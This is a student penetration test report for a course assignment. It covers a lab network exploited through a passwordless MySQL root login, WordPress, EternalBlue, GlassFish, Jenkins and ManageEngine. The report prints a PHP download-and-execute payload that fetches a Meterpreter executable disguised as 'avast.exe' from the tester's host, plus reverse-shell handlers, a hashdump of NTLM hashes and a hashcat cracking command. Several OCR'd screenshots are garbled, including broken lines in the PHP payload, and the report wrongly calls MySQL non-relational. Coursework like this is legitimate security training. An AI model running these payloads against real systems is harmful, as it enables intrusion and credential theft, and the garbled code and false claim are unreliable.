## A2: Practical Assessment

**ITNET302A Advanced Network Security** 

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# Penetration test report



Type: Black-box

**Performed for: Buggy Systems Pty** 

**Performed by: MDG Ethical Hackers** 

Pentester: Murilo de Grandi

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### **EXECUTIVE SUMMARY**

This pentest report document was developed by MDG Ethical Hackers. The purpose of this engagement is to analyse the current security posture of our client Buggy Systems by carrying out reconnaissance, scanning, exploitation and post-exploitation activities within the boundaries of the sploit box environment.

According to our findings, the target scope contains at least eight risk vulnerabilities that may be exploited with malicious intent.




Figure 1: Vulnerabilities Chart.

The potential impact of the risk vulnerabilities identified during the penetration test are rated as both high and critical as they may lead an attacker to administrative privileges in the system. Business-critical information/assets such as financial and intellectual property may be at imminent risk of being stolen, tampered or made inaccessible by an attacker. Therefore, we suggest addressing them as a matter of urgency.

**Highest risk:** MySQL server - weak authentication.

According to our findings, the highest risk relates to MySQL authentication credentials. MySQL is a non-relational database system used to store data in multiple tables. The MySQL server is responsible for the storage of data from different business applications and the company's WordPress website.

Currently, the database accepts the default password of MySQL, which is publicly available. Therefore, it could be easily compromised by a malicious actor intending to

steal data such as the WordPress user credentials, allowing access to the admin dashboard of the company's website and enabling attacks against the sploit server to potentially obtain administrative privileges of the whole system.

MDG Hackers believe that the impact of an attack on the Buggy Systems database could bring serious consequences to the business, including intellectual property leakage, reputational damage and financial losses.

Therefore, we recommend the implementation of a more secure authentication method for the MySQL database by enforcing the use of two-factor authentication (2fa) and stronger passwords. Additionally, we advise upgrading the MySQL application to the newest version as soon as possible.

## 1. Scope

The purpose of this penetration test is to find, explore and report the vulnerabilities encountered in the Buggy Systems network. The network environment consists of 3 boxes:

Box #1	Box #2 – Target 1	Box #3 – Target 2
Used by the pentester to perform the penetration test activities.	The target for this penetration test.	The target for the Boot-2-root challenge.
Hostname: VPN-kali Host IP: 10.220.0.250/32	Hostname: <b>sploit</b> Host IP: <b>10.222.x1/32</b> , where x is any of (1,2,3,4,5,6,7,8 or 9)	Hostname: <b>B2r</b> Host IP: <b>10.222.0.x2/32</b> , where x is any of (1,2,3,4,5,6,7,8 or 9)

Table 1: Network Summary.

## 2. Testing Methodology

The methodology used by pentesters to deliver a pentest assessment may involve the following stages:

Reconnaissance: The first stage relates to discovering and collecting information about the target systems, and identifying areas that are likely to contain vulnerabilities. The reconnaissance activity includes tasks such as network range definition, email and DNS enumeration, machine identification, active services identification, password list creation, operating system fingerprinting, and network mapping.

Scanning: Based on the findings, the following stage is to explore the target system and identify weaknesses that can be potentially exploited. The pentester may use a range of scanning tools to perform this task.

*Exploitation:* The next step is to exploit the vulnerabilities found from the previous stages by infiltrating as deep as possible into the system through privilege escalation, identifying which data and services are available.

Post-Exploitation: Once the pentester has a foothold in the system, the next goal is to maintain access for as long as possible to simulate what would be the consequences of a real invasion by a malicious attacker

Clearing tracks/Reporting: This is the final stage of the pentest, where information such as risk rating, vulnerabilities to be corrected and tools and techniques used to penetrate the system are listed in a detailed report to be presented to the client. It must be written in both technical and non-technical language so that IT staff and also managers can understand.

## 3. Findings Summary

MDG Ethical Hackers managed to find and exploit a total of eight vulnerabilities from the Buggy Systems network. According to the risk calculation performed for each of the findings, seven vulnerabilities were deemed critical and one vulnerability was deemed moderate.

The highest risk identified relates to MySQL authentication. Currently, the database service on port 3306 is fully exposed to public access as it allows access with MySQL default login credentials (user=root – password=NULL). Databases are critical assets and require efficient protection because they store most of the business data including sensitive information. Upon exploitation of the database, MDG hackers had access to a table of users containing password hashes and the WordPress database which stores the data and forms entries from the company's website.

From there, it was possible to connect to the admin panel of WordPress on port 8585 using one of the user credentials from the table wp\_users and set up an exploit to obtain a reverse shell with administrator privileges.




Figure 2: Vulnerabilities Distribution.

Findings	Impact	Likelihood	Risk
			Rating

1 - MySQL Database Authentication	Extreme	Certain	Critical
2 - MS17-010 EternalBlue SMB Remote	Extreme	Likely	Critical
Windows Kernel Pool Corruption			
3 - Oracle GlassFish Server Path Traversal	Extreme	Likely	Critical
4 - Jenkins – Multiple Vulnerabilities	Extreme	Likely	Critical
5 - ManageEngine Desktop Central 9	Extreme	Likely	Critical
FileUploadServlet ConnectionId			
6 - SSH and RDP Authentication	High	Possible	Critical
7 - Apache Tomcat Manager Authenticated	High	Possible	Critical
Upload Code Execution			
8 - Ruby 1.8.6/1.9 (WEBrick HTTPd 1.3.1) -	Medium	Possible	Major
Directory Traversal			

Table 2: Findings Summary.

### 4. Risk Assessment Criteria

ISO 31000:2018 provides guidelines on managing risk faced by organizations. The application of these guidelines can be customized to any organization and its context. ISO 31000:2018 provides a common approach to managing any type of risk and is not industry or sector specific.

ISO 31000:2018 has been used to determine the risk rating for the vulnerabilities identified within this report.

The following matrix provides a break down for risk rating calculation:

	Impact				
Likelihood	Insignificant	Low	Moderate	Major	Critical
Certain	MEDIUM	MEDIUM	HIGH	EXTREME	EXTREME
Likely	LOW	MEDIUM	MEDIUM	HIGH	EXTREME
Possible	LOW	LOW	MEDIUM	MEDIUM	HIGH
Unlikely	LOW	LOW	LOW	MEDIUM	HIGH
Rare	LOW	LOW	LOW	LOW	MEDIUM

The following table provides a break down for likelihood calculation:

Likelihood	Description
Certain	Expected to occur in most circumstances
Likely	Will probably occur in most circumstances
Possible	Could occur at some time
Unlikely	Low chance of occurring
Rare	Unlikely chance of occurring

The following table provides a break down for impact calculation:

Impact	Description
Critical	The consequences will have extreme impacts on the organisation, projects or similar objectives. This can include major financial loss and significant reputational damage.
Major	The consequences will threaten the ongoing functionality of the organisation. Financial implications would have high consequences for the organisation.
Moderate	The consequences will not threaten the organisation, but may be subjected to significant review or operational consequences. Financial implications would have medium consequences for the organisation.
Low	The consequences will only threaten the efficiency of the organisation, however this could be dealt with internally. Any financial implication will have a low consequence.
Insignificant	The organisation can easily deal with the consequences by routine operations.

## 5. Penetration Test Findings

#### CRITICAL RISK FINDINGS

**Finding 1:** MySQL Database Authentication.


Risk	Critical	Impact: Extreme	Likelihood:
			Likely

From the portscan and enumeration activities using Nmap and Nessus, MDG Hackers identified a highly vulnerable MySQL database server. Database servers store data from multiple applications, including login credentials, logs, financial information and customer sensitive data from website forms. The vulnerability found relates to the weak authentication mechanism. Firstly, the database server does not require a password to log in as root (password=NULL), which is the default authentication setting of MySQL.

Location: 3306/tcp mysql

```
i:~$ mysql -h 10.222.0.41 -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 860
Server version: 5.5.20-log MySQL Community Server (GPL)
Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> show databases;
Database
| information_schema
cards
 mysql
 performance_schema
 test
wordpress
6 rows in set (0.05 sec)
```


Additionally, it uses the plugin *mysql\_native\_password*, which is not recommended because it stores password hashes from the database users internally, at mysql.user.table.



#### **Exploit**


The WordPress database contains a table with users' credentials. MDG hackers noted that the WordPress website runs on a Wamp Server on port 8585. Using the credential of the user 'vagrant' which was cracked by a brute-force attack, we were able to log in and access the WordPress dashboard with admin privileges.





Then, using MSFVENON we crafted a payload and added the code to the 404.php template of WordPress, and using Meterpreter reverse/reverse\_tcp payload we started a webserver on the pentester box to receive the TCP connection.

```
msfvenom -p php/download_exec -f raw URL=http://172.16.1.7:8000/avast.exe
 -] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
-] No arch selected, selecting arch: php from the payload
to encoder specified, outputting raw payload
Payload size: 2717 bytes
/*<?php /**/
          @error_reporting(0);
          abset_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
$MweTa=@ini_get('disable_functions');
if(!empty($MweTa)){
              $MweTa=preg_replace('/[, ]+/', ',', $MweTa);
$MweTa=explode(',', $MweTa);
$MweTa=array_map('trim', $MweTa);
          }else{
              $MweTa=array();
       if (!function_exists('sys_get_temp_dir')) {
          function sys_get_temp_dir() {
  if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
  if (!empty($_ENV['TMPDIR'])) { return realpath($_ENV['TMPDIR']); }
  if (!empty($_ENV['TEMP'])) { return realpath($_ENV['TEMP']); }
  $tempfile=tempnam(uniqid(rand(),TRUE),'');
  if (file=viet(ftrealpath(),TRUE),'');
              if (file_exists($tempfile)) {
                 @unlink($tempfile);
                 return realpath(dirname($tempfile));
              return null:
     fhrame = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "tOgxbOdDd.exe";
fd_in = fopen("http://172.16.1.7:8000/avast.exe", "rb");
if ($fd_in == false) { die(); }
$fd_out = fopen($fname, "wb");
if ($fd_out == false) { die(); }
while (!feof($fd_in)) {
fwrite($fd_out, fread($fd_in, 8192));
          fwrite($fd_out, fread($fd_in, 8192));
       fclose($fd_in);
       fclose($fd_out);
       chmod($fname, 0777);
       $c = $fname;
          if (FALSE ≠ strpos(strtolower(PHP_OS), 'win' )) {
    $c=$c." 2>81\n";
          $TuaSdHl='is_callable';
```




```
(root © tafekali)-[~]
| msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai LHOST=172.16.1.7 LPORT=4444 -f exe -o avast.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: avast.exe

(root © tafekali)-[~]
| python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.222.0.31 - - [05/May/2022 08:41:58] "GET /avast.exe HTTP/1.0" 200 -
```

Finally, the payload created was added to Metasploit and activated by accessing the 404.php webpage, thus starting the reverse shell.

```
msf6 > use multi/handler
Using configured payload generic/shell_reverse_tcp
                    handler) > set LHOST=172.16.1.7
msf6 exploit(multi/
 - Unknown variable
Usage: set [option] [value]
Set the given option to value. If value is omitted, print the current value.
If both are omitted, print options that are currently set.
If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore.
If setting a PAYLOAD, this command can take an index from `show payloads'.
msf6 exploit(multi/handler) > set LHOST 172.16.1.7
LHOST \Rightarrow 172.16.1.7
                   handler) > set LPORT 4444
msf6 exploit(multi/ha
LPORT ⇒ 4444
msf6 exploit(multi/handler) > set payload payload/windows/meterpreter/reverse_tcp
payload ⇒ windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 172.16.1.7:4444
```



#### Recommendations:

MDG Ethical Hackers recommend restricting access to the MySQL server immediately by setting a more secure password for the root user and implementing two-factor authentication. It is also strongly recommended to upgrade the MySQL application to the newest version. This will effectively replace the <code>mysql\_native\_password plugin</code> with the <code>ed25519 authentication plugin</code> and enforce the use of a more secure authentication algorithm.

Finding 2: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

Risk Critical Impact: Extreme Likelihood: Likely


Reference Information: CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, CVE-2017-0148

MS17-010 is a set of vulnerabilities found in the Microsoft Windows Server Message Block version 1 (SMBv1) service, which is responsible for creating connections between client and server. It is rated as critical because it permits an unauthenticated actor to execute arbitrary code remotely after gaining access to the system by sending crafted packets to the SMBv1 server.

**Location:** 10.222.0.41:445 tcp / cifs

#### **Exploitation**

Firstly, the vulnerability was found by MDG Ethical Hackers by using the vulnerability scanner Nessus.



Then, we searched for an exploit in the Metasploit database and used windows/smb/ms17\_010\_eternalblue.

The exploit was easily configured, only requiring the target host (RHOST), the listener host (LHOST) and the listener port (LPORT) to be entered.

```
File Actions Edit View Help

ypn X tafekali X vpn-kalibox X NMAP X root@tafekali: /usr/share/metasploit-framework/data/wordlists X

man

Circust Satting Registed Services

As yes The Larget Services

Semination of Common Commo
```

After running the exploit, MDG hackers immediately gained administrative access to the system and were able to interact with the file system.

```
Meterpreter session 1 opened (172.16.1.5:7777 → 10.222.0.41:50350 ) at 2022-05-01 03:09:52 -0400
<u>neterpreter</u> > pwd
<u>meterpreter</u> / pwd
C:\Windows\system32
<u>meterpreter</u> > whoami
[_] Unknown command: whoami
m<u>eterpreter</u> > dir
Listing: C:\Windows\system32
                                                                                               Type Last modified
                                                                                                                                                                                                                      Name
                                                                                               dir 2018-05-01 16:20:25 -0400 -p

dir 2010-11-21 00:56:54 -0500 0409

fil 2022-05-01 13:32:20 -0400 78296F80-3768-497e-8012-9C450E187327-5P-0.C7483456-A289-439d-8115-601632D005A0

fil 2022-05-01 13:32:20 -0400 78296F80-3768-497e-8012-9C450E187327-5P-1.C7483456-A289-439d-8115-601632D005A0

fil 2009-07-13 21:34:45 -0400 ACCTRES.dll

fil 2009-07-13 21:34:55 -0400 ACTRES.dll

fil 2010-11-20 22:25:07 -0500 ActionCenter.dll

fil 2010-11-20 22:25:07 -0500 ActionCenter.dll

fil 2010-11-20 22:24:24 -0500 ActionCenter.dll

fil 2010-11-20 22:24:30 -0500 Admmpl.dll

fil 2010-11-20 22:24:30 -0500 Admmpl.dll
040777/rwxrwxrwx 0
 40777/rwxrwxrwx 0
100666/rw-rw-rw-
100666/rw-rw-rw-
  00777/rwxrwxrwx 24064
00666/rw-rw-rw- 499712
00666/rw-rw-rw- 780800
00666/rw-rw-rw- 549888
 100666/rw-rw-rw- 213504
100666/rw-rw-rw- 111616
100777/rwxrwxrwx 40448
100666/rw-rw-rw- 577024
 140777/rwxrwxrwx 0
100666/rw-rw-rw- 312320
100666/rw-rw-rw- 33792
100777/rwxrwxrwx 35328
                                                                                                                     2010-11-20 22:32:21 -0500 AdvancedInstallers
2009-07-13 21:40:01 -0400 AppfdPolicyEngineApi.dll
2009-07-13 21:38:55 -0400 AtBroker.exe
                                                                                                                    2009-07-13 21:38:55 -0400 Attrocer.exe
2009-07-13 21:40:04 -0400 Audioeng.dll
2010-11-20 22:24:30 -0500 Audioses.dll
2009-07-13 21:40:04 -0400 AuditNativeSnapIn.dll
2009-07-13 21:40:04 -0400 AuditPolicyGPInterop.dll
2009-07-13 21:40:04 -0400 AuthFWSnapIn.dll
2009-07-13 21:54:33 -0400 AuthFFWSnapIn.dll
2009-07-13 21:54:33 -0400 AuthFFWSnapIn.dll
 100666/rw-rw-rw- 440832
100666/rw-rw-rw- 296448
100666/rw-rw-rw 40832
100666/rw-rw-rw 20648
100666/rw-rw-rw 75264
100666/rw-rw-rw 304128
100666/rw-rw-rw 1066752
100666/rw-rw-rw 126976
                                                                                                                     2009-07-13 21:40:04 -0400 AuxiliaryDisplayApi.dll
2009-07-13 21:40:04 -0400 AuxiliaryDisplayClassInstaller.dll
2010-11-20 22:24:24-0500 AzGqlExt.dll
2010-11-20 22:24:06 -0500 BFE.DLL
  00666/rw-rw-rw-
                                                             164352
                                                             136192
 100666/rw-rw-rw- 31744
100666/rw-rw-rw- 705024
100666/rw-rw-rw- 23120
100666/rw-rw-rw- 69120
100666/rw-rw-rw- 14848
                                                                                                                     2009-07-13 21:52:21 -0400 BOOTVID.DLL
2009-07-13 21:40:13 -0400 BWContextHandler.dll
2010-11-20 22:24:16 -0500 BWUnpairElevated.dll
2009-07-14 01:37:10 -0400 BestPractices
```

We also managed to obtain the hashes of system users, which could be cracked by an attacker to further exploit the system.

```
meterpreter > hashdump
::: Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b
anakin_skywalker:1011:aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e55cde2f3de94fa:::
artoo_detoo:1007:aad3b435b51404eeaad3b435b51404ee:fac6aada8b7afc<u>418b3afea63b7577b4:::</u>
ben_kenobi:1009:aad3b435b51404eeaad3b435b51404ee:4fb77d816bce7aeee80d7c2e5e55c859:::
boba_fett:1014:aad3b435b51404eeaad3b435b51404ee:d60f9a4859da4feadaf160e97d200dc9:::
chewbacca:1017:aad3b435b51404eeaad3b435b51404ee:e7200536327ee731c7fe136af4575ed8:::
:_three_pio:1008:aad3b435b51404eeaad3b435b51404ee:0fd2eb40c4aa690171ba066c037397ee:::
darth vader:1010:aad3b435b51404eeaad3b435b51404ee:b73a851f8ecff7acafbaa4a806aea3e0:::
greedo:1016:aad3b435b51404eeaad3b435b51404ee:ce269c6b7d9e2f1522b44686b49082db:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae93<u>1b73c59d7e0c089</u>c0:::
han_solo:1006:aad3b435b51404eeaad3b435b51404ee:33ed98c5969d05a7c15c25c99e3ef951:::
jabba_hutt:1015:aad3b435b51404eeaad3b435b51404ee:93ec4eaa63d63565f37fe7f28d99ce76:::
jarjar binks:1012:aad3b435b51404eeaad3b435b51404ee:ec1dcd52077e75aef4a1930b0917c4d4:::
kylo_ren:1018:aad3b435b51404eeaad3b435b51404ee:74c0a3dd06613d3240331e94ae18b001:::
lando_calrissian:1013:aad3b435b51404eeaad3b435b51404ee:62708455898f2d7db11cfb670042a53f:::
leia_organa:1004:aad3b435b51404eeaad3b435b51404ee:8ae6a810ce203621cf9cfa6f21f14028:::
luke_skywalker:1005:aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ed22b0e9bac82005a:::
sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
meterpreter >
```

#### Recommendations:

Due to the high risk presented, MDG Ethical Hackers recommend addressing the MS17-010 vulnerability immediately by patching the OS of this device with the security update for Microsoft Windows found at Microsoft Security Bulletin MS17-010 - Critical | Microsoft Docs. Furthermore, it is also recommended to disable the SMBv1 by going to Server Manager/Manage/Remove Roles and Features and clearing SMB1.0/CIFS File Sharing.

Finding 3: Oracle GlassFish Server Path Traversal

Risk Critical	Impact: Extreme	Likelihood: Likely
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Reference Information: CVE-2017-1000028


MDG Ethical Hackers identified an Oracle GlassFish server running on port 4848. This is an Open Source platform that allows developers to develop and deploy Java applications and web services. The version installed contains some serious vulnerabilities that may be exploited by either authenticated or non-authenticated users.

Location: 4848/tcp - Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)

#### **Exploitation**

MDG Hackers managed to crack the admin credentials through a brute force attack using Metasploit.

Then, a payload was crafted using Msfvenon to start a connection and send a remote shell from the server to our listener whenever the application is triggered. The malicious code was inserted into the server as a web application via the admin console.





Using Metasploit, we set up a handler on port 443 to listen for a connection. Finally, we triggered the remote shell and obtained administrative access by accessing the web application on http://10.222.0.91:8080/192shell/.

```
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):
   Name Current Setting Required Description
Payload options (generic/shell_reverse_tcp):
   Name Current Setting Required Description
   LHOST 172.16.1.2 yes The listen addre
LPORT 443 yes The listen port
                                     The listen address (an interface may be specified)
Exploit target:
   Id Name
   0 Wildcard Target
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 172.16.1.2:443
^C[-] Exploit failed [user-interrupt]: Interrupt
   run: Interrupted
run: //www.handler) > run
msf6 exploit(
[*] Started reverse TCP handler on 172.16.1.2:443
[★] Command shell session 1 opened (172.16.1.2:443 → 10.222.0.91:50359 ) at 2022-05-06 23:12:01 -0400
Shell Banner:
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\glassfish\glassfish4\glassfish\domains\domain1\config>pwd
{\tt C:\glassfish\glassfish\domains\domain1\config>whoami}
whoami
nt authority\local service
C:\glassfish\glassfish4\glassfish\domains\domain1\config>
```

#### **Recommendations:**

MDG Ethical Hackers strongly recommend reviewing the authentication credentials for the GlassFish server and enabling two-factor authentication (2FA). Additionally, we suggest updating the server with the latest version immediately.

Finding 4: Jenkins – Multiple Vulnerabilities



Reference Information: CVE-2016-0788, CVE-2016-0789, CVE-2016-0790, CVE-2016-0791, CVE-2016-0792


Jenkins is a Java DevOps tool used for the automation of continuous integration/continuous delivery and deployment (CI/CD) that enables the implementation of CI/CD workflows, also known as pipelines. The current version installed contains multiple vulnerabilities that may enable malicious actors to execute arbitrary code.

Location: 8484/tcp open http Jetty winstone-2.8

#### **Exploitation**

MDG Ethical Hackers discovered that the Jenkins application running on port 8484 is accessible from the browser and does not require authentication. Jenkins allows the execution of Groovy scripts on the server from <a href="http://ip-address:8484/script">http://ip-address:8484/script</a> which can be used to run arbitrary code. Then, we decided to leverage this feature to create our reverse shell.

Firstly, a listener was started on our Kali machine. Then, the payload was created and executed on the Jenkins Script Console to activate and send us the reverse shell.



```
li)-[~/A2]
   nc -lnvp 4444
                                                      П
listening on [any] 4444 ...
connect to [172.16.1.3] from (UNKNOWN) [10.222.0.51] 49602
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Program Files\jenkins\Scripts>pwd
'pwd' is not recognized as an internal or external command,
operable program or batch file.
C:\Program Files\jenkins\Scripts>dir
dir
Volume in drive C is Windows 2008R2
Volume Serial Number is 4082-1076
Directory of C:\Program Files\jenkins\Scripts
04/30/2018 08:32 PM <DIR>
04/30/2018 08:32 PM <DIR>
10/21/2016 04:06 PM
                                  130 jenkins.ps1
              1 File(s)
                                  130 bytes
              2 Dir(s) 40,784,240,640 bytes free
C:\Program Files\jenkins\Scripts>whoami
whoami
nt authority\local service
C:\Program Files\jenkins\Scripts>
```

#### Recommendations:

MDG Ethical Hackers strongly recommend upgrading Jenkins to 1.650 or later, as well as restricting access to the applications using secure password authentication.

Finding 5: ManageEngine Desktop Central 9 FileUploadServlet ConnectionId

Risk Critical Impact: Extreme Likelihood: Likely

Reference Information: CVE-2015-82001

ManageEngine Desktop Central is a desktop and mobile administration software that enables activities such as management, patching, remote desktop sharing, software deployment and configuration of endpoints from a central node.

Location: 8020/tcp open http

#### **Exploitation**

The vulnerability is based on a flaw that allows a remote attacker to upload and place a malicious file in a directory that would permit remote code execution from server-side script.

Using just the exploit *windows/http/manageengine\_connectionid\_write* from Metasploit, MDG Ethical Hackers managed to obtain the remote access under the context of System.

```
LHOST ⇒ 172.16.1.2

msf6 exploit(windows
                                                                                    ) > options
Module options (exploit/windows/http/manageengine_connectionid_write):
                    Current Setting Required Description
                                                         A proxy chain of format type:host:port[,type:host:port][...]
The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
The target port (TCP)
Negotiate SSL/TLS for outgoing connections
The base path for ManageEngine Desktop Central
    Proxies
    RPORT
                     false
     TARGETURI
                                                           HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
                   Current Setting Required Description
                                                        Exit technique (Accepted: '', seh, thread, process, none)
The listen address (an interface may be specified)
The listen port
    EXITFUNC process
LHOST 172.16.1.2
    LPORT
Exploit target:
    Id Name
    0 ManageEngine Desktop Central 9 on Windows
```

```
*] Started reverse TCP handler on 172.16.1.2:4444
     Creating JSP stager
    Uploading JSP stager ZCHMU.jsp...
Executing stager...
     Sending stage (175174 bytes) to 10.222.0.51
    Sending stage (1731/4 bytes) to 10.222.0.31
Meterpreter session 2 opened (172.16.1.2:4444 → 10.222.0.51:49692 ) at 2022-05-07 08:40:34 -0400
This exploit may require manual cleanup of '../webapps/DesktopCentral/jspf/ZCHMU.jsp' on the target
meterpreter > pwd
C:\ManageEngine\DesktopCentral_Server\bin
meterpreter > systeminfo
[-] Unknown command: systeminfo
meterpreter > dir
Listing: C:\ManageEngine\DesktopCentral_Server\bin
                                  Type Last modified
                                                                              Name
100666/rw-rw-rw-
                      5
587776
                                          2022-05-07 13:55:36 -0400
                                                                             .lock
7za.exe
                                          2015-10-07 09:32:36 -0400
 100777/rwxrwxrwx
 100666/rw-rw-rw- 2028
                                          2015-10-07 09:32:38 -0400
                                                                             ComputerList.vbs
                                                                             ConfigServer_log.txt
ConvertSIDTOAccountName.exe
 100666/rw-rw-rw- 612
                                          2018-04-30 23:44:04 -0400
                                          2015-10-07 09:32:38 -0400
 100777/rwxrwxrwx
 100777/rwxrwxrwx 228
                                          2015-10-07 09:32:36 -0400
2015-10-07 09:32:38 -0400
                                                                             CopyFolder.bat
 100777/rwxrwxrwx 944
                                                                             DCService.bat
                                          2015-10-07 09:32:36 -0400
                                                                             DesktopCentral.exe
 100777/rwxrwxrwx
                                          2015-10-07 09:32:38 -0400
2015-10-07 09:32:36 -0400
100777/rwxrwxrwx 2001
                                                                             ExecuteQuery.bat
                                                                             MgrtDC.bat
 100777/rwxrwxrwx 338
                                          2015-10-07 09:32:38 -0400
2015-10-07 09:32:38 -0400
2015-10-07 09:32:38 -0400
 100777/rwxrwxrwx 42
                                                                             Migrate-DCServer.bat
100777/rwxrwxrwx 149
100777/rwxrwxrwx 269
                                                                             Mysql_Mssql_Backup.bat
Mysql_Mssql_Restore.bat
                                          2015-10-07 09:32:36 -0400
2015-10-07 09:32:38 -0400
                                                                             RémCom.exe
RunAsAdmin.exe
100777/rwxrwxrwx 285312
100777/rwxrwxrwx 93824
 100666/rw-rw-rw- 2543
                                          2015-10-07 09:32:36 -0400
100666/rw-rw-rw-
                                          2018-09-25 04:53:52 -0400
                                                                             TrackTrial.json
 100777/rwxrwxrwx 90187
                                          2015-10-07 09:32:36 -0400
                                                                             UniqueID.exe
 100777/rwxrwxrwx 1324
                                          2015-10-07 09:32:36 -0400
 100777/rwxrwxrwx 41
                                          2015-10-07 09:32:38 -0400
                                                                             UpdateManager.bat
   0666/rw-rw-rw-
```

Besides successfully exploiting the file system, we were also able to log in to the Desktop Central 9 webpage with username-password=admin/admin.



#### Recommendations:


This vulnerability can be mitigated by simply patching the software with version 91093 released on Nov 25,2015. However, MDG Ethical Hackers suggest upgrading ManageEngine Desktop with the latest software version to provide the system with the best protection against the latest vulnerabilities. Additionally, we recommend protecting the ManageEngine admin webpage with two-factor authentication (2FA) and a stronger password.

Finding 6: SSH and RDP Authentication

Risk	Critical	Impact: High	Likelihood: Possible
------	----------	--------------	----------------------

Strong user credentials are crucial to safeguard the system from unauthorized access. A hybrid brute-force attack was performed by MDG hackers and tested the strength of system's user passwords. The credential of user=vagrant was cracked and its password is the same value as the username. Using that credential, MDG hackers were able to access the system both via SSH (port 22) and RDP (port 3389) protocols with administrative privileges.





#### **Exploitation**

Using the Linux tool Hashcat, MDG hackers performed a Hybrid attack by attempting thousands of password guesses from brute force and dictionary techniques until a valid password was found.

```
Session..... hashcat
Status..... Exhausted
Hash.Mode.....: 1000 (NTLM)
Hash.Target.....: A2/hashes.hash
Time.Started....: Thu May 5 01:01:46 2022, (33 secs)
Time.Estimated...: Thu May 5 01:02:19 2022, (0 secs)
Kernel.Feature ... : Pure Kernel
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Mod.....: Rules (A2/rules.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1....: 15360.3 kH/s (1.89ms) @ Accel:256 Loops:37 Thr:1 Vec:8
Recovered.....: 4/18 (22.22%) Digests
Progress.....: 530742245/530742245 (100.00%)
Rejected..... 0/530742245 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-37 Iteration:0-37
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[206b72697374656e616e6e65] → $HEX[042a0337c2a156346d6f732103]
Hardware.Mon.#1..: Util: 78%
Started: Thu May 5 01:01:45 2022
Stopped: Thu May 5 01:02:20 2022
   (1901 to tarenati) - [*]
| hashcat -m 1000 -a 0 <u>A2/hashes.hash /usr/share/wordlists/rockyou.txt</u> -r <u>A2/rules.txt</u> --force --show
e02bc503339d51f71d913c245d35b50b:vagrant
```

```
meterpreter > hashdump
::: Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b
anakin_skywalker:1011:aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e55cde2f3de94fa:::
artoo_detoo:1007:aad3b435b51404eeaad3b435b51404ee:fac6aada8b7afc418b3afea63b7577b4:::
ben_kenobi:1009:aad3b435b51404eeaad3b435b51404ee:4fb77d816bce7aeee80d7c2e5e55c859:::
boba_fett:1014:aad3b435b51404eeaad3b435b51404ee:d60f9a4859da4feadaf160e97d200dc9:::
chewbacca:1017:aad3b435b51404eeaad3b435b51404ee:e7200536327ee731c7fe136af4575ed8:::
c_three_pio:1008:aad3b435b51404eeaad3b435b51404ee:0fd2eb40c4aa69<u>0171ba066c037397ee:::</u>
darth_vader:1010:aad3b435b51404eeaad3b435b51404ee:b73a851f8ecff7acafbaa4a806aea3e0:::
greedo:1016:aad3b435b51404eeaad3b435b51404ee:ce269c6b7d9e2f1522b44686b49082db:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
han_solo:1006:aad3b435b51404eeaad3b435b51404ee:33ed98c5969d05a7c15c25c99e3ef951:::
jabba_hutt:1015:aad3b435b51404eeaad3b435b51404ee:93ec4eaa63d63565f37fe7f28d99ce76:::
jarjar_binks:1012:aad3b435b51404eeaad3b435b51404ee:ec1dcd52077e75aef4a1930b0917c4d4:::
kylo_ren:1018:aad3b435b51404eeaad3b435b51404ee:74c0a3dd06613d3240331e94ae18b001:::
lando calrissian:1013:aad3b435b51404eeaad3b435b51404ee:62708455898f2d7db11cfb670042a53f:::
leia_organa:1004:aad3b435b51404eeaad3b435b51404ee:8ae6a810ce203621cf9cfa6f21f14028:::
luke skywalker:1005:aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ed22b0e9bac82005a:::
sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035:::
